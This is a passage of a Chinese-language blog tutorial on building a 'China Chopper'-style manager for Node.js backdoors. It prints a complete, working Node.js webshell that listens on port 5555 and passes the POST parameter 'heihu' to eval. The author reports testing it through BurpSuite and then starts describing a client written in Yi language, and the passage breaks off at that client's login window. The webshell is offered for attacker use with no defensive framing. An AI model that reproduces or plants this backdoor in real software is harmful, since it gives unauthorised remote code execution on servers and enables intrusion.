通过nodeJs中eval关键字打造一款管理nodeJS后门的菜(2)

nodeJs传承了JavaScript的语法,开启了后端语言,我们知道前台的JavaScript中,eval()函数是用来执行代码的,说到这里我们会想到PHP中的eval也会被黑客当作后门来使用,那么nodeJs存在eval,为什么没有人去造一款管理nodeJs后门的菜刀呢?既然网上没有第一个案例,那笔者就来造出第一个案例吧。下边是笔者对菜刀的理解思维图:

通过nodeJs中eval关键字打造一款管理nodeJS后门的菜

那么传统的一句话木马如PHP一句话木马一样,只需要简单的一句话就可以 eval($_POST[x]);,但是nodeJS却无法这么简短,因为它解析GET/POST请求就需要一堆代码。

在编写nodeJs菜刀之前笔者有一种猜想,是不是nodeJS的eval函数中无法引入包?也就是require函数的执行。

那么笔者进行测试:

通过nodeJs中eval关键字打造一款管理nodeJS后门的菜

可以惊讶的看到fs包被成功引入进来了,那么编写中国菜刀的理想也就又近了一步。

0x04 菜刀编写

笔者在这里写了一段处理POST请求的代码,并且进入eval函数,来达到市场上正常的一句话的效果。代码如下:

通过nodeJs中eval关键字打造一款管理nodeJS后门的菜

这里nodeJS奇怪就奇怪在处理POST请求使用了nodeJS自己封装的addListener事件方法,上图的一系列代码就是在表示 eval($_POST[‘heihu’]),这样的“一句话”还真是“一句话”...

下面使用BurpSuite来测试一下console.log看是否可以成功代码执行。

通过nodeJs中eval关键字打造一款管理nodeJS后门的菜

可以看到console.log()成功被执行。

NodeJS一句话脚本:

var http = require('http');

var querystring = require('querystring');

var server = http.createServer(function(request, response){

response.writeHead(200, {'Content-Type':'text/html;charset=utf8'});

if(request.method.toLocaleLowerCase() == 'post'){

var string = '';

request.addListener('data', function(chunk){

string += chunk;

});

request.addListener('end', function(){

var strObj = querystring.parse(string);

if(strObj.heihu){

try {

eval(strObj.heihu);

response.end('Eval Ok');

}catch(e){

console.log(e);

response.end('Eval Error');

}

}else{

response.end('Pass Error');

}

});

}else{

response.end();

}

});

server.listen(5555);

那么笔者使用“易语言”来完成这个中国菜刀的小项目吧~(对,你没听错,就是易语言)

首先界面很简单,也就是一个登录窗口。

通过nodeJs中eval关键字打造一款管理nodeJS后门的菜

单击“向着权限进攻~”按钮后

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/30610d44511749eebc9d17a5fc5740ec.html